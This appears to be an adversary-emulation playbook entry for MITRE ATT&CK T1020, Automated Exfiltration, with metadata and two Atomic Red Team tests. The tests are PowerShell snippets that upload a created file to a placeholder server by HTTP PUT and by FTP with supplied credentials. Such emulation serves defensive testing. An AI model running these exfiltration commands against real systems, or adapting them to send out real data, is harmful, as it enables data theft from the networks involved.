| name | T1020_automated-exfiltration |
| description | Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. |
| category | client-side |
| version | 18.1 |
| author | cyberstrike-official |
| tags | ["mitre-attack","enterprise","t1020","exfiltration","linux","macos","network-devices","windows"] |
| technique_id | T1020 |
| tactic | exfiltration |
| all_tactics | ["exfiltration"] |
| platforms | ["Linux","macOS","Network Devices","Windows"] |
| mitre_url | https://attack.mitre.org/techniques/T1020 |
| tech_stack | ["linux","macos","network devices","windows"] |
| cwe_ids | ["CWE-200"] |
| chains_with | ["T1020.001"] |
| prerequisites | [] |
| severity_boost | {"T1020.001":"Chain with T1020.001 for deeper attack path"} |
T1020 Automated Exfiltration
High-Level Description
Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.
When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel and Exfiltration Over Alternative Protocol.
Kill Chain Phase
Platforms: Linux, macOS, Network Devices, Windows
What to Check
How to Test
Atomic Red Team Tests
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Atomic Test 1: IcedID Botnet HTTP PUT
Creates a text file
Tries to upload to a server via HTTP PUT method with ContentType Header
Deletes a created file
Supported Platforms: windows
$fileName = "#{file}"
$url = "#{domain}"
$file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test"
$contentType = "application/octet-stream"
try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}
Atomic Test 2: Exfiltration via Encrypted FTP
Simulates encrypted file transfer to an FTP server. For testing purposes, a free FTP testing portal is available at https://sftpcloud.io/tools/free-ftp-server, providing a temporary FTP server for 60 minutes. Use this service responsibly for testing and validation only.
Supported Platforms: windows
$sampleData = "Sample data for exfiltration test"
Set-Content -Path "#{sampleFile}" -Value $sampleData
$ftpUrl = "#{ftpServer}"
$creds = Get-Credential -Credential "#{credentials}"
Invoke-WebRequest -Uri $ftpUrl -Method Put -InFile "#{sampleFile}" -Credential $creds
